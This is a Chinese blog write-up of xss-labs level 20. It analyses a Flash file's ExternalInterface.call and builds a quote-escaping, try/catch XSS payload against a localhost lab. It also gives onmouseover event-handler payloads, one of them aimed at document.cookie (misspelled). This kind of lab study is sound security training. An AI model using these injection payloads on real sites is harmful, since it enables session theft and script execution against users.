xss-labs靶场-第二十关 FLASH XSS -续 – 作者:知非知非知非

http://localhost/xss-labs/level20.php?arg01=a&arg02=b

1627603201_610341016c5b3bf930647.png!small

又是空白页,难道SWF没有刷出来吗?

查看源代码,走起!!!

1627603208_610341084acdd7f84dff7.png!small

又是一模一样的源代码!!!

看大佬的WP,又是源代码审计!!!

http://localhost/xss-labs/xsf04.swf

1627603218_61034112f33c9aa9671b1.png!small

这一关是ExternalInterface.call。

首先通过LoaderInfo从URL中取值

1627603226_6103411a6fc66f9abf8ad.png!small

除了上面的id以外还要取两个值width和height。

1627603232_61034120b0c6a68910689.png!small

接下来构造payload就可以了,arg01=id&arg02=xss\”))}catch(e){alert(/xss/)}//%26width=123%26height=123

首先arg01=id这个就不用解释了,arg02=xss\”))}catch(e){alert(/xss/)}//这个地方有不少要说明的,首先为什么要加”,来看看不加的结果

1627603239_61034127ddddd9f4368de.png!small

所以要加一个”进行闭合,让id不等于xss))}catch(e){alert(/xss/)}//,因为等下会直接将id的值全部都传到flash中,flash中仍然也有需闭合的部分,再来看看有\”的结果

1627603248_610341302f4773a6ab4d2.png!small

你会发现好像没有什么变化,这因为php做了htmlspecialchar()过滤,至于为什么这样写,那就得看flash的代码了,等会id就会传到下面来

1627603254_61034136bef3ead39aba3.png!small

后面的可以不用管,因为会被我后面的//给注释掉,这里注意,由于是通过LoaderInfo取值的,所以就会变成这个样子

{ “id” = “xss\”))}catch(e){alert(/xss/)}//” }

可以看到,如果不加\转义id就会变成xss,也就是下面的这个样子,当id再传到里面的函数里面时就起不到报错的作用了。

{ “id” = “xss”))}catch(e){alert(/xss/)}//” }

接下来有许多函数都使用了id,ExternalInterface.call(a,b)相当于JS中的函数名(代码)

1627603262_6103413e03d97d59d06f9.png!small

我们可以看到上面函数名已经固定了,要是没固定直接改成alert美滋滋,所以我们就从id这里着手,把id的值代进去。

ExternalInterface.call(“xxxx”,”xss\”))}catch(e){alert(/xss/)}//”),这样不太容易看的话,换种方式

private function clickHandler(param1:Event) : void

{

System.setClipboard(clipText);

ExternalInterface.call(“ZeroClipboard.dispatch”,”xss\”))}catch(e){alert(/xss/)}//”,”complete”,clipText);

}

把多余的去掉就会变成这样

private function clickHandler(param1:Event) : void

{

ExternalInterface.call(“ZeroClipboard.dispatch”,”xss\”))}catch(e){

alert(/xss/)

}

//”,”complete”,clipText);

}

然后你就会发现这样一搞,由于前面少了一个真正可以闭合的”于是会报错,所以后面抛出异常的catch就可以生效了,于是执行后面的alert(/xss/)。

再来说下//后面的%26width=123&26height=123,%26其实是&,那为啥非得写%26呢,先来看一个&的。

1627603272_610341482d45a4d2d5071.png!small

你会发现啥都没有,因为php就拿前两个参数,再看%26

1627603279_6103414f7ebf2e0281017.png!small

1627603286_61034156213db317b3d8d.png!small

可以了,访问这个地址就搞定了,不得不说我觉得我能耐心把这两题做完,感觉这一年学习真的有进步,哈哈。

1627603293_6103415d17d929082a655.png!small

PAYLOAD:arg01=id&arg02=xss\”))}catch(e){alert(/xss/)}//%26width=123%26height=123

http://localhost/xss-labs/level20.php?arg01=id&arg02=xss\”))}catch(e){alert(1)}//%26width=123%26height=123

并没有弹出,这题是通过报错进行弹出!!!

还有一种偷鸡的方法:

直接前台改!!!

PAYLOAD:onmouseover=alert(1)

onmouseover=alert(1)

onmouseover=alert(documnet.cookie)

1627603300_61034164db5b10faceb83.png!small

1627603307_6103416b10bae051e43c4.png!small

来源:freebuf.com 2021-07-30 08:02:42 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论